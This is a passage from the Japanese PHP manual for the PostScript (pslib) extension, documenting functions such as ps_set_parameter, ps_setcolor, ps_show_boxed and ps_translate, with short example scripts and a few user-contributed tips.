注意:

pslib のバージョン 0.2.6 まででは、 ps_findfont() が事前にコールされていない限り、 この関数は常に BoundingBox および Orientation を上書きします。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_findfont() - フォントを読み込む
  • ps_begin_page() - 新しいページを開始する

User Contributed Notes

There are no user contributed notes for this page.


パラメータを設定する

  • ≪ ps_set_info
  • ps_set_text_pos ≫
  • PHP Manual
  • PS 関数
  • パラメータを設定する

ps_set_parameter

(PECL ps >= 1.1.0)

ps_set_parameter — パラメータを設定する

説明

ps_set_parameter ( resource $psdoc , string $name , string $value ) : bool

多くの関数で利用されるパラメータを設定します。 パラメータは文字列値として定義されます。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

name

使用できる名称については ps_get_parameter() を参照ください。

value

パラメータの値。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_get_parameter() - パラメータを取得する
  • ps_set_value() - 値を設定する

User Contributed Notes

php at catchall dot toao dot net 12-Jun-2009 08:54
Note that when setting a parameter such as "true" or "false", in this case "true" and "false" are strings.
Correct syntax would be:
<?php ps_set_parameter($ps, "linebreak", "true"); ?>
This does NOT work:
<?php ps_set_parameter($ps, "linebreak", true); ?>


テキストの出力位置を設定する

  • ≪ ps_set_parameter
  • ps_set_value ≫
  • PHP Manual
  • PS 関数
  • テキストの出力位置を設定する

ps_set_text_pos

(PECL ps >= 1.1.0)

ps_set_text_pos — テキストの出力位置を設定する

説明

ps_set_text_pos ( resource $psdoc , float $x , float $y ) : bool

テキストを出力する位置を設定します。別の方法として、x と y の値を別々に ps_set_value() で設定することもできます。 この場合の設定項目は、それぞれ textx と texty となります。

テキストを所定の位置に出力したいのなら、テキストの位置を指定してから ps_show() をコールするよりも、 ps_show_xy() を使用するほうが便利です。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

x

新しいテキスト位置の x 座標。

y

新しいテキスト位置の y 座標。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 指定した位置にテキストを配置する

<?php
$ps = ps_new();
if (!ps_open_file($ps, "text.ps")) {
  print "PostScript ファイルをオープンできません\n";
  exit;
}

ps_set_info($ps, "Creator", "rectangle.php");
ps_set_info($ps, "Author", "Uwe Steinmann");
ps_set_info($ps, "Title", "Text placement example");

ps_begin_page($ps, 596, 842);
$psfont = ps_findfont($ps, "Helvetica", "", 0);
ps_setfont($ps, $psfont, 8.0);
ps_show_xy($ps, "Some text at (100, 100)", 100, 100);

ps_set_value($ps, "textx", 100);
ps_set_value($ps, "texty", 120);
ps_show($ps, "Some text at (100, 120)");
ps_end_page($ps);

ps_delete($ps);
?>

参考

  • ps_set_value() - 値を設定する
  • ps_show() - テキストを出力する

User Contributed Notes

There are no user contributed notes for this page.


値を設定する

  • ≪ ps_set_text_pos
  • ps_setcolor ≫
  • PHP Manual
  • PS 関数
  • 値を設定する

ps_set_value

(PECL ps >= 1.1.0)

ps_set_value — 値を設定する

説明

ps_set_value ( resource $psdoc , string $name , float $value ) : bool

多くの関数で利用される値を設定します。 パラメータは浮動小数点数値として定義されます。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

name

name は以下のうちのひとつです。

textrendering

テキストをどのように見せるか。

textx

出力テキストの x 座標。

texty

出力テキストの y 座標。

wordspacing

単語の間隔を空白文字に対する比率で設定する。

leading

行間をピクセルで指定する。

value

パラメータの値。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_get_value() - 値を取得する
  • ps_set_parameter() - パラメータを設定する

User Contributed Notes

There are no user contributed notes for this page.


色を設定する

  • ≪ ps_set_value
  • ps_setdash ≫
  • PHP Manual
  • PS 関数
  • 色を設定する

ps_setcolor

(PECL ps >= 1.1.0)

ps_setcolor — 色を設定する

説明

ps_setcolor ( resource $psdoc , string $type , string $colorspace , float $c1 , float $c2 , float $c3 , float $c4 ) : bool

描画色、塗りつぶし色、あるいはその両方を設定します。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

type

type は both、fill、 あるいは fillstroke のいずれかです。

colorspace

colorspace は gray、 rgb、cmyk、 spot、pattern のいずれかです。 colorspace の値によって、以下のパラメータのうち最初のひとつ・最初の３つ あるいはすべてが利用されます。

c1

colorspace の値によって、red 成分 (rgb の場合)、 cyan 成分 (cmyk の場合)、グレースケール (gray の場合)、 スポット色の ID あるいはパターンの ID のいずれかとなります。

c2

colorspace の値によって、green 成分 (rgb の場合)、 magenta 成分 (cmyk の場合) のいずれかとなります。

c3

colorspace の値によって、blue 成分 (rgb の場合)、 yellow 成分 (cmyk の場合) のいずれかとなります。

c4

colorspace が cmyk の場合にのみ設定され、black 成分の値を指定します。

バグ

2 番目のパラメータは、現在は常に評価されるわけではありません。 設定内容にかかわらず、fillstroke が渡されたときのような振る舞いをすることがあります。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

php at catchall dot toao dot net 14-Jun-2009 08:29
Note that if you specify colors in RGB, the parameters C1, C2, and C3 should be specified in decimal form.  To calculate this, divide the value by 255.  Example: rgb(58,110,165) becomes <?php ps_setcolor($ps, "stroke", "rgb", .23, .43, .65, 0.0); ?>

However, since this is PostScript, most if not all files will be destined for printing and colors should be specified in CMYK anyway.


破線の形状を設定する

  • ≪ ps_setcolor
  • ps_setflat ≫
  • PHP Manual
  • PS 関数
  • 破線の形状を設定する

ps_setdash

(PECL ps >= 1.1.0)

ps_setdash — 破線の形状を設定する

説明

ps_setdash ( resource $psdoc , float $on , float $off ) : bool

破線の「線」の部分と「空白」の部分の長さを設定します。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

on

破線の長さ。

off

破線と破線の間隔の長さ。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_setpolydash() - 破線の形状を設定する

User Contributed Notes

There are no user contributed notes for this page.


平面度を設定する

  • ≪ ps_setdash
  • ps_setfont ≫
  • PHP Manual
  • PS 関数
  • 平面度を設定する

ps_setflat

(PECL ps >= 1.1.0)

ps_setflat — 平面度を設定する

説明

ps_setflat ( resource $psdoc , float $value ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

value

value は 0.2 から 1 までの間でなければなりません。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


以降の出力で用いるフォントを設定する

  • ≪ ps_setflat
  • ps_setgray ≫
  • PHP Manual
  • PS 関数
  • 以降の出力で用いるフォントを設定する

ps_setfont

(PECL ps >= 1.1.0)

ps_setfont — 以降の出力で用いるフォントを設定する

説明

ps_setfont ( resource $psdoc , int $fontid , float $size ) : bool

フォントを設定します。このフォントは、事前に ps_findfont() で読み込まれている必要があります。 フォントを設定せずにテキストを出力するとエラーとなります。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

fontid

ps_findfont() が返す、フォント ID。

size

フォントのサイズ。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_findfont() - フォントを読み込む
  • ps_set_text_pos() - テキストの出力位置を設定する for an example.

User Contributed Notes

There are no user contributed notes for this page.


グレー値を設定する

  • ≪ ps_setfont
  • ps_setlinecap ≫
  • PHP Manual
  • PS 関数
  • グレー値を設定する

ps_setgray

(PECL ps >= 1.1.0)

ps_setgray — グレー値を設定する

説明

ps_setgray ( resource $psdoc , float $gray ) : bool

以降の描画処理で使われるグレー値を設定します。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

gray

値は 0（白）から 1（黒）までの間でなければなりません。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_setcolor() - 色を設定する

User Contributed Notes

There are no user contributed notes for this page.


線端の形状を設定する

  • ≪ ps_setgray
  • ps_setlinejoin ≫
  • PHP Manual
  • PS 関数
  • 線端の形状を設定する

ps_setlinecap

(PECL ps >= 1.1.0)

ps_setlinecap — 線端の形状を設定する

説明

ps_setlinecap ( resource $psdoc , int $type ) : bool

線端をどのように表示するかを設定します。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

type

線端の形式。 PS_LINECAP_BUTT、 PS_LINECAP_ROUND あるいは PS_LINECAP_SQUARED のいずれか。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_setlinejoin() - 線の連結方法を設定する
  • ps_setlinewidth() - 線幅を設定する
  • ps_setmiterlimit() - miter limit 値を設定する

User Contributed Notes

There are no user contributed notes for this page.


線の連結方法を設定する

  • ≪ ps_setlinecap
  • ps_setlinewidth ≫
  • PHP Manual
  • PS 関数
  • 線の連結方法を設定する

ps_setlinejoin

(PECL ps >= 1.1.0)

ps_setlinejoin — 線の連結方法を設定する

説明

ps_setlinejoin ( resource $psdoc , int $type ) : bool

線がどのように連結されるかを設定します。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

type

線の連結方式。 PS_LINEJOIN_MITER、 PS_LINEJOIN_ROUND あるいは PS_LINEJOIN_BEVEL のいずれか。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_setlinecap() - 線端の形状を設定する
  • ps_setlinewidth() - 線幅を設定する
  • ps_setmiterlimit() - miter limit 値を設定する

User Contributed Notes

There are no user contributed notes for this page.


線幅を設定する

  • ≪ ps_setlinejoin
  • ps_setmiterlimit ≫
  • PHP Manual
  • PS 関数
  • 線幅を設定する

ps_setlinewidth

(PECL ps >= 1.1.0)

ps_setlinewidth — 線幅を設定する

説明

ps_setlinewidth ( resource $psdoc , float $width ) : bool

以降の描画処理での線幅を設定します。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

width

線の幅 (ポイント数)。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_setlinecap() - 線端の形状を設定する
  • ps_setlinejoin() - 線の連結方法を設定する
  • ps_setmiterlimit() - miter limit 値を設定する

User Contributed Notes

There are no user contributed notes for this page.


miter limit 値を設定する

  • ≪ ps_setlinewidth
  • ps_setoverprintmode ≫
  • PHP Manual
  • PS 関数
  • miter limit 値を設定する

ps_setmiterlimit

(PECL ps >= 1.1.0)

ps_setmiterlimit — miter limit 値を設定する

説明

ps_setmiterlimit ( resource $psdoc , float $value ) : bool

2 本の直線が小さい角度で連結され、かつ連結方法が PS_LINEJOIN_MITER に設定されている場合、 出来上がる線の角の部分が非常に長くなります。miter limit は、miter length (角の長さ) と線幅の比率の最大値です。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

value

miter length と線幅の比率の最大値。大きな値 (> 10) を設定すると、2 本の直線が狭い角度で交わる際に、 角の部分が非常に長くなってしまいます。 よくわからない場合はデフォルトのままにしておきましょう。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_setlinecap() - 線端の形状を設定する
  • ps_setlinejoin() - 線の連結方法を設定する
  • ps_setlinewidth() - 線幅を設定する

User Contributed Notes

There are no user contributed notes for this page.


overprint モードを設定する

  • ≪ ps_setmiterlimit
  • ps_setpolydash ≫
  • PHP Manual
  • PS 関数
  • overprint モードを設定する

ps_setoverprintmode

(PECL ps >= 1.3.0)

ps_setoverprintmode — overprint モードを設定する

説明

ps_setoverprintmode ( resource $psdoc , int $mode ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

psdoc

ps_new() が返す postscript ファイルの ID リソース。

mode

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


破線の形状を設定する

  • ≪ ps_setoverprintmode
  • ps_shading_pattern ≫
  • PHP Manual
  • PS 関数
  • 破線の形状を設定する

ps_setpolydash

(PECL ps >= 1.1.0)

ps_setpolydash — 破線の形状を設定する

説明

ps_setpolydash ( resource $psdoc , float $arr ) : bool

破線の「線」の部分と「空白」の部分の長さを設定します。 ps_setpolydash() は、 より複雑な破線パターンを設定するために用いられます。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

arr

arr は「線」の部分の長さと 「空白」の部分の長さを互い違いにならべたリストです。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 破線を描画する

<?php
$ps = ps_new();
if (!ps_open_file($ps, "polydash.ps")) {
   print "PostScript ファイルをオープンできません\n";
     exit;
}

ps_set_info($ps, "Creator", "polydash.php");
ps_set_info($ps, "Author", "Uwe Steinmann");
ps_set_info($ps, "Title", "Poly dash example");

ps_begin_page($ps, 596, 842);
ps_setpolydash($ps, array(10, 5, 2, 5));
ps_moveto($ps, 100, 100);
ps_lineto($ps, 200, 200);
ps_stroke($ps);
ps_end_page($ps);

ps_delete($ps);
?>

この例は、長さ 10 ポイントと 2 ポイントの線を、 5 ポイントの空白でつなげた破線を描画します。

参考

  • ps_setdash() - 破線の形状を設定する

User Contributed Notes

There are no user contributed notes for this page.


シェーディング用のパターンを作成する

  • ≪ ps_setpolydash
  • ps_shading ≫
  • PHP Manual
  • PS 関数
  • シェーディング用のパターンを作成する

ps_shading_pattern

(PECL ps >= 1.3.0)

ps_shading_pattern — シェーディング用のパターンを作成する

説明

ps_shading_pattern ( resource $psdoc , int $shadingid , string $optlist ) : int|false

シェーディング用のパターンを作成します。これは ps_shading() を呼ぶ前に行わなければなりません。 シェーディングパターンは、標準のパターンと同じように用いられます。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

shadingid

事前に ps_shading() で作成したシェーディングの ID。

optlist

このパラメータは、現在使用されていません。

返り値

成功した場合にパターンの ID を、失敗した場合に false を返します。

参考

  • ps_shading() - 以降の出力で用いるシェーディングを作成する
  • ps_shfill() - 範囲をシェーディングで塗りつぶす

User Contributed Notes

There are no user contributed notes for this page.


以降の出力で用いるシェーディングを作成する

  • ≪ ps_shading_pattern
  • ps_shfill ≫
  • PHP Manual
  • PS 関数
  • 以降の出力で用いるシェーディングを作成する

ps_shading

(PECL ps >= 1.3.0)

ps_shading — 以降の出力で用いるシェーディングを作成する

説明

ps_shading ( resource $psdoc , string $type , float $x0 , float $y0 , float $x1 , float $y1 , float $c1 , float $c2 , float $c3 , float $c4 , string $optlist ) : int|false

シェーディングを作成します。これは ps_shfill() や ps_shading_pattern() で用いられます。

シェーディングの色には、pattern 以外の任意の色空間が利用できます。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

type

シェーディングの種類で、radial (放射状) または axial (直線状) のいずれかです。 シェーディングは現在の塗りつぶし色で始まり、 c1 から c4 までのパラメータで指定される色で終わります (パラメータの意味は ps_setcolor() を参照ください)。

x0, x1, y0, y1

x0, y0, x1, y1 は、 シェーディングの開始位置・終了位置の座標です。 シェーディングの形式が radial の場合は、 それぞれ開始円・終了円の中心となります。

c1, c2, c3, c4

このパラメータの意味は ps_setcolor() を参照してください。

optlist

type が radial の場合、optlist にはパラメータ r0 と r1 が含まれる必要があります。これらはそれぞれ開始位置と終了位置を表す 円の半径です。

返り値

成功した場合にパターンの ID を、失敗した場合に false を返します。

参考

  • ps_shading_pattern() - シェーディング用のパターンを作成する
  • ps_shfill() - 範囲をシェーディングで塗りつぶす

User Contributed Notes

There are no user contributed notes for this page.


範囲をシェーディングで塗りつぶす

  • ≪ ps_shading
  • ps_show_boxed ≫
  • PHP Manual
  • PS 関数
  • 範囲をシェーディングで塗りつぶす

ps_shfill

(PECL ps >= 1.3.0)

ps_shfill — 範囲をシェーディングで塗りつぶす

説明

ps_shfill ( resource $psdoc , int $shadingid ) : bool

範囲をシェーディングで塗りつぶします。シェーディングは事前に ps_shading() で作られている必要があります。 この関数は、ps_shading_pattern() でシェーディングからパターンを作成し、 それを塗りつぶし色として使用するのと同じことを行います。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

shadingid

事前に ps_shading() で作成したシェーディングの ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_shading() - 以降の出力で用いるシェーディングを作成する
  • ps_shading_pattern() - シェーディング用のパターンを作成する

User Contributed Notes

There are no user contributed notes for this page.


テキストをボックス内に出力する

  • ≪ ps_shfill
  • ps_show_xy2 ≫
  • PHP Manual
  • PS 関数
  • テキストをボックス内に出力する

ps_show_boxed

(PECL ps >= 1.1.0)

ps_show_boxed — テキストをボックス内に出力する

説明

ps_show_boxed ( resource $psdoc , string $text , float $left , float $bottom , float $width , float $height , string $hmode , string $feature = ? ) : int

与えられたボックスの中にテキストを出力します。ボックスの左下の座標が (left, bottom) となります。 必要に応じて改行が挿入されます。連続する空白文字は、ひとつとして扱われ、 タブ文字は空白文字として扱われます。

パラメータ hyphenation が true に設定されており、またパラメータ hyphendict に有効なハイフネーションファイルが設定されている場合に、 テキストのハイフネーションが行われます。 行間隔の設定は、値 leading で行います。 TeX と同様に、段落と段落の間には空行が挿入されます。 値 parindent が 0.0 より大きく設定されている場合、 最初の n 行は字下げされます。n の行数は、値 numindentlines で設定します。 最初の m 段落を字下げしないようにするには、 値 parindentskip に正の数値を設定します。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

text

指定したボックスの中に出力するテキスト。

left

ボックスの左下角の x 座標。

bottom

ボックスの左下角の y 座標。

width

ボックスの幅。

height

ボックスの高さ。

hmode

パラメータ hmode は "justify"（均等割付）・ "fulljustify"（完全な均等割付）・"right"（右寄せ）・"left"（左寄せ）・ "center"（センタリング）のどれかの値を設定します。 "justify" と "fulljustify" の違いは、ボックスの最終行の処理です。 fulljustify モードでは、 段落の最後の行である場合を除いて最終行も均等割付をします。 justify モードでは、最終行は常に左寄せとなります。

feature

用いられるパラメータ

ps_show_boxed() の出力は、パラメータや値
(それぞれ ps_set_parameter() や
ps_set_value() で設定されたもの) で設定できます。
テキスト出力に影響するパラメータや値のうち、以下のものが評価されます。

leading (value)

連続する 2 つの行の間隔です。

linebreak (parameter)

キャリッジリターンを、空白ではなく改行として扱いたい場合は "true" に設定します。デフォルトは "false" です。

parbreak (parameter)

単一行のデータ中のキャリッジリターンを、空白ではなく段落区切りとして 扱いたい場合は "true" に設定します。デフォルトは "true" です。

hyphenation (parameter)

ハイフネーションを有効にする場合は "true" に設定します。 その際、パラメータ "hyphendict" に辞書を設定しておく必要があります。 デフォルトは "false" です。

hyphendict (parameter)

ハイフネーションパターンの辞書ファイル名です（以下を参照）。

hyphenminchar (value)

ハイフンの前後に最低限必要な文字数です。つまり、少なくともこの値の 2 倍以上の文字数の単語でないとハイフネーションされないということです。 デフォルトは 3 です。値をゼロに設定すると、デフォルトの値が使われます。

parindent (value)

段落の最初の m 行に対する字下げの量をピクセル単位で設定します。 m は、値 "numindentlines" で設定します。

parskip (value)

段落間の空白の追加量をピクセル単位で設定します。デフォルトは 0 で、 通常の行間設定をそのまま利用します。

numindentlines (value)

段落の最初の部分で字下げ対象となる行数です。デフォルトは 1 です。

parindentskip (value)

字下げ処理を行わない段落数を設定します。デフォルトは 0 です。 この設定が便利に使えるのは、章の始めの段落・2 つのボックスにまたがる テキストなどです。このような場合には値を 1 に設定します。

linenumbermode (parameter)

行番号のつけ方を設定します。"box" を設定するとボックス全体に 番号をつけ、"paragraph" を設定するとその中の段落単位で番号をつけます。

linenumberspace (value)

行番号を表示するための、左側のスペースの幅です。行番号は、 このスペースに右詰めで表示されます。デフォルトは 20 です。

linenumbersep (value)

行番号欄と行本文欄の間の空白です。デフォルトは 5 です。

ハイフネーション

パラメータ hyphenation が true に設定され、かつ 有効なハイフネーション辞書が設定されている場合に、テキストが ハイフネーションされます。pslib は独自のハイフネーション辞書を持っておらず、 openoffice または scribus, koffice の辞書のうちひとつを利用します。 これらのソフトウェアがインストールされている環境では、さまざまな言語の辞書が 以下のディレクトリで見つけられます。

  • /usr/share/apps/koffice/hyphdicts/
  • /usr/lib/scribus/dicts/
  • /usr/lib/openoffice/share/dict/ooo/
現時点では、scribus が最も完璧なハイフネーション辞書を持っているようです。

返り値

書くことができなかった文字数を返します。

参考

  • ps_continue_text() - 次の行にテキストを続ける

User Contributed Notes

php at catchall dot toao dot net 13-Jun-2009 03:45
In order to justify text in the way a word processor would, one must set 'linebreak' to 'false' and 'parbreak' to 'true'.  For every new line, you must use "\n\n" (two newlines, NOT carriage returns as stated in the docs).  If you wish to make two new lines in your finished document, "\n\n\n\n" will not work.  Instead, you must use "\n\n \n\n".

For every line to be justified, you should append "\n " (new line and a space) to the end of the text.  For this to work, 'linebreak' must be 'true'.
tilman dot schroeder at gmx dot de 01-Jan-2007 07:52
Note that there will no box be drawn around the text even if the function name suggests this.

After the box has been drawn you can get the new x and y position with

<?php
$x=ps_get_value($ps,'textx',NULL);
$y=ps_get_value($ps,'texty',NULL);
?>

textx points to the end of the last character written by ps_show_boxed and texty points to the baseline of the last line written (which means, if there is e.g. a 'g' in the last line then the lower part's y-coordinates of the g will be lower than the value of texty. I hope you understand what I meant)


テキストを指定した位置に出力する

  • ≪ ps_show_boxed
  • ps_show_xy ≫
  • PHP Manual
  • PS 関数
  • テキストを指定した位置に出力する

ps_show_xy2

(PECL ps >= 1.1.0)

ps_show_xy2 — テキストを指定した位置に出力する

説明

ps_show_xy2 ( resource $psdoc , string $text , int $len , float $xcoor , float $ycoor ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


指定された位置にテキストを出力する

  • ≪ ps_show_xy2
  • ps_show2 ≫
  • PHP Manual
  • PS 関数
  • 指定された位置にテキストを出力する

ps_show_xy

(PECL ps >= 1.1.0)

ps_show_xy — 指定された位置にテキストを出力する

説明

ps_show_xy ( resource $psdoc , string $text , float $x , float $y ) : bool

指定された位置にテキストを出力します。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

text

出力するテキスト。

x

テキストを囲むボックスの左下角の x 座標。

y

テキストを囲むボックスの左下角の y 座標。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_continue_text() - 次の行にテキストを続ける
  • ps_show() - テキストを出力する

User Contributed Notes

There are no user contributed notes for this page.


テキストを現在の位置に出力する

  • ≪ ps_show_xy
  • ps_show ≫
  • PHP Manual
  • PS 関数
  • テキストを現在の位置に出力する

ps_show2

(PECL ps >= 1.1.0)

ps_show2 — テキストを現在の位置に出力する

説明

ps_show2 ( resource $psdoc , string $text , int $len ) : bool

テキストを現在の位置に出力します。最大 len 文字までしか出力しません。

パラメータ

psdoc

ps_new() が返す postscript ファイルの ID リソース。

text

出力するテキスト。

len

表示する最大文字数。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


テキストを出力する

  • ≪ ps_show2
  • ps_string_geometry ≫
  • PHP Manual
  • PS 関数
  • テキストを出力する

ps_show

(PECL ps >= 1.1.0)

ps_show — テキストを出力する

説明

ps_show ( resource $psdoc , string $text ) : bool

現在の位置にテキストを出力します。テキストの位置を設定するには、 関数 ps_set_value() の値 textx および texty に x 座標と y 座標を設定します。 事前に ps_setfont() でフォントが設定されていない場合、この関数はエラーを返します。

ps_show() は、以下のようなパラメータや値
(それぞれ ps_set_parameter() や
ps_set_value() で設定されたもの)
の内容を評価します。

charspacing (value)

連続する 2 つのグリフ間の距離です。値がゼロ以外の場合、リゲチャは 解消されます。ゼロ未満の値を指定することも可能です。

kerning (parameter)

このパラメータを "false" に設定するとカーニングが無効になります。 デフォルトではカーニングが有効になっています。

ligatures (parameter)

このパラメータを "false" に設定するとリゲチャを使用しないようになります。 デフォルトではリゲチャを使用するようになっています。

underline (parameter)

このパラメータを "true" に設定すると下線が引かれます。 デフォルトでは下線が無効になっています。

overline (parameter)

このパラメータを "true" に設定すると上線が引かれます。 デフォルトでは上線が無効になっています。

strikeout (parameter)

このパラメータを "true" に設定すると打ち消し線が引かれます。 デフォルトでは打ち消し線が無効になっています。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

text

出力するテキスト。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_continue_text() - 次の行にテキストを続ける
  • ps_show_xy() - 指定された位置にテキストを出力する
  • ps_setfont() - 以降の出力で用いるフォントを設定する

User Contributed Notes

There are no user contributed notes for this page.


文字列のジオメトリを取得する

  • ≪ ps_show
  • ps_stringwidth ≫
  • PHP Manual
  • PS 関数
  • 文字列のジオメトリを取得する

ps_string_geometry

(PECL ps >= 1.2.0)

ps_string_geometry — 文字列のジオメトリを取得する

説明

ps_string_geometry ( resource $psdoc , string $text , int $fontid = 0 , float $size = 0.0 ) : array

この関数は ps_stringwidth() と似ていますが、 返り値は、テキストの幅、ascender および descender を含む配列形式になります。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

text

ジオメトリを計算するテキスト。

fontid

使用するフォントの ID。フォントが指定されていない場合は、 現在のフォントが使用されます。

size

フォントのサイズ。指定されていない場合は現在のサイズが使用されます。

返り値

文字の寸法を格納した配列です。'width' には ps_stringwidth() で返される文字列の幅が入ります。 下に突き出している部分の長さの最大値が 'descender' に、 また上に突き出している部分の長さの最大値が 'ascender' に入ります。

参考

  • ps_continue_text() - 次の行にテキストを続ける
  • ps_stringwidth() - 文字列の幅を取得する

User Contributed Notes

There are no user contributed notes for this page.


文字列の幅を取得する

  • ≪ ps_string_geometry
  • ps_stroke ≫
  • PHP Manual
  • PS 関数
  • 文字列の幅を取得する

ps_stringwidth

(PECL ps >= 1.1.0)

ps_stringwidth — 文字列の幅を取得する

説明

ps_stringwidth ( resource $psdoc , string $text , int $fontid = 0 , float $size = 0.0 ) : float

指定されたフォントとサイズで出力した場合に、 文字列の幅が何ポイントになるかを計算します。 正確な幅を計算するため、この関数は Adobe のフォントメトリックファイルを必要とします。カーニングが有効になっている場合、 それも考慮して計算します。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

text

幅を計算するテキスト。

fontid

使用するフォントの ID。フォントが指定されていない場合は、 現在のフォントが使用されます。

size

フォントのサイズ。指定されていない場合は現在のサイズが使用されます。

返り値

文字列の幅をポイント数で返します。

参考

  • ps_string_geometry() - 文字列のジオメトリを取得する

User Contributed Notes

There are no user contributed notes for this page.


現在のパスを描画する

  • ≪ ps_stringwidth
  • ps_symbol_name ≫
  • PHP Manual
  • PS 関数
  • 現在のパスを描画する

ps_stroke

(PECL ps >= 1.1.0)

ps_stroke — 現在のパスを描画する

説明

ps_stroke ( resource $psdoc ) : bool

ps_lineto() のような関数で事前に組み立てられたパスを描画します。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_closepath_stroke() - パスを閉じ、描画する
  • ps_fill() - 現在のパスを塗りつぶす
  • ps_fill_stroke() - 現在のパスを塗りつぶし、線を引く

User Contributed Notes

There are no user contributed notes for this page.


グリフ名を取得する

  • ≪ ps_stroke
  • ps_symbol_width ≫
  • PHP Manual
  • PS 関数
  • グリフ名を取得する

ps_symbol_name

(PECL ps >= 1.2.0)

ps_symbol_name — グリフ名を取得する

説明

ps_symbol_name ( resource $psdoc , int $ord , int $fontid = 0 ) : string

この関数は、有効なグリフ名を取得するために Adobe のフォントメトリックファイルを必要とします。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

ord

ord は、フォントエンコーディングベクタ の中でのグリフの位置です。

fontid

使用するフォントの ID。フォントが指定されていない場合は、 現在のフォントが使用されます。

返り値

指定されたフォントのグリフ名を返します。

参考

  • ps_symbol() - グリフを出力する
  • ps_symbol_width() - グリフの幅を取得する

User Contributed Notes

There are no user contributed notes for this page.


グリフの幅を取得する

  • ≪ ps_symbol_name
  • ps_symbol ≫
  • PHP Manual
  • PS 関数
  • グリフの幅を取得する

ps_symbol_width

(PECL ps >= 1.2.0)

ps_symbol_width — グリフの幅を取得する

説明

ps_symbol_width ( resource $psdoc , int $ord , int $fontid = 0 , float $size = 0.0 ) : float

指定されたフォントとサイズで出力した場合に、 グリフの幅が何ポイントになるかを計算します。正確な幅を計算するため、 この関数は Adobe のフォントメトリックファイルを必要とします。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

ord

ord は、 フォントエンコーディングベクタの中でのグリフの位置です。

fontid

使用するフォントの ID。フォントが指定されていない場合は、 現在のフォントが使用されます。

size

フォントのサイズ。指定されていない場合は現在のサイズが使用されます。

返り値

グリフの幅をポイント数で返します。

参考

  • ps_symbol() - グリフを出力する
  • ps_symbol_name() - グリフ名を取得する

User Contributed Notes

There are no user contributed notes for this page.


グリフを出力する

  • ≪ ps_symbol_width
  • ps_translate ≫
  • PHP Manual
  • PS 関数
  • グリフを出力する

ps_symbol

(PECL ps >= 1.2.0)

ps_symbol — グリフを出力する

説明

ps_symbol ( resource $psdoc , int $ord ) : bool

現在のフォントのフォントエンコーディングベクタの中で ord 番目の位置にあるグリフを出力します。 フォントエンコーディングは、ps_findfont() でフォントを読み込む際に設定することができます。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

ord

フォントエンコーディングベクタの中でのグリフの位置。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_symbol_name() - グリフ名を取得する
  • ps_symbol_width() - グリフの幅を取得する

User Contributed Notes

There are no user contributed notes for this page.


座標変換を設定する

  • ≪ ps_symbol
  • RpmInfo ≫
  • PHP Manual
  • PS 関数
  • 座標変換を設定する

ps_translate

(PECL ps >= 1.1.0)

ps_translate — 座標変換を設定する

説明

ps_translate ( resource $psdoc , float $x , float $y ) : bool

新しい座標系の原点を設定します。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

x

変換後の座標系の原点の x 座標。

y

変換後の座標系の原点の y 座標。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 座標系の変換

<?php
function rectangle($ps) {
    ps_moveto($ps, 0, 0);
    ps_lineto($ps, 0, 50);
